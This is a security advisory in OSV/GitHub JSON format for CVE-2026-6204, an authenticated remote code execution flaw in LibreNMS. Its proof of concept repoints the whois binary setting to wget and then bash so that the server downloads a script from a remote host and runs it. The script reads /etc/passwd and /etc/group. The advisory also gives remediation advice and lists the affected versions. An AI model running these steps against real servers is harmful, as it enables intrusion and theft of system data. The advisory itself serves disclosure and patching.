CVE-2026-6204: Librenms/librenms Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pr3g-phhr-h8fh",
  "modified" : "2026-04-14T22:52:48Z",
  "published" : "2026-03-26T18:04:01Z",
  "aliases" : [ "CVE-2026-6204" ],
  "summary" : "LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write",
  "details" : "### Summary\nA vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.\n\n### Details\nThe application allows administrative users to configure the absolute binary paths for network diagnostic tools at `/settings/external/binaries`. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the `GET /ajax/netcmd` endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.\n\n### PoC\nTo reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file `malicious.sh` containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.\n\n```bash\n#!/usr/bin/env bash\n\ncat /etc/passwd\ncat /etc/group\nwhoami\npwd\nls\n```\n\n1. Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.\n<img width=\"593\" height=\"481\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ef235f8e-089b-462c-b12c-7b5ae2037fc5\" />\n\n2. Make sure the malicious script `malicious.sh` can be downloaded. \n<img width=\"516\" height=\"100\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60b04755-e824-4384-81f2-2feacdc8e273\" />\n\n3. Login with an admin account and navigate to Global Settings -> External -> Binary Locations\n<img width=\"797\" height=\"201\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f914cc9e-f45b-444f-8f16-058101d84576\" />\n\n4. Change the whois binary path to the path of wget (e.g. /usr/bin/wget).\n<img width=\"478\" height=\"58\" alt=\"image\" src=\"https://github.com/user-attachments/assets/57fbf033-ff07-41dc-9bac-2f3b3e897ea6\" />\n\n5. Send the request `GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh`. The response should contain wget's output, and malicious.sh would be downloaded by the server.\n<img width=\"900\" height=\"209\" alt=\"image\" src=\"https://github.com/user-attachments/assets/942b6082-18db-4838-b06c-b98d7fa1f8d0\" />\n\n6. After that, change the whois binary path to the path of bash (e.g. /bin/bash). \n<img width=\"751\" height=\"56\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0c11d86e-0dab-4780-bdb7-f328bbb758f8\" />\n\n7. Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script. \n<img width=\"846\" height=\"688\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d4dcf8e9-5a75-407c-8dd4-96d11f090dbe\" />\n\n### Impact\nThis vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.\n\n### Remediation Advice\nLoading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the `ip_or_hostname` bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.\n\n### Prerequisite\nThe attacker must have a valid Administrator account to exploit this vulnerability.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "librenms/librenms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.48"
      }, {
        "fixed" : "26.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/security/advisories/GHSA-pr3g-phhr-h8fh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-6204"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/librenms/librenms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169"
  }, {
    "type" : "WEB",
    "url" : "https://projectblack.io/blog/librenms-authenticated-rce-and-xss/#binary-path-rce-poc"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-26T18:04:01Z",
    "nvd_published_at" : null
  }
}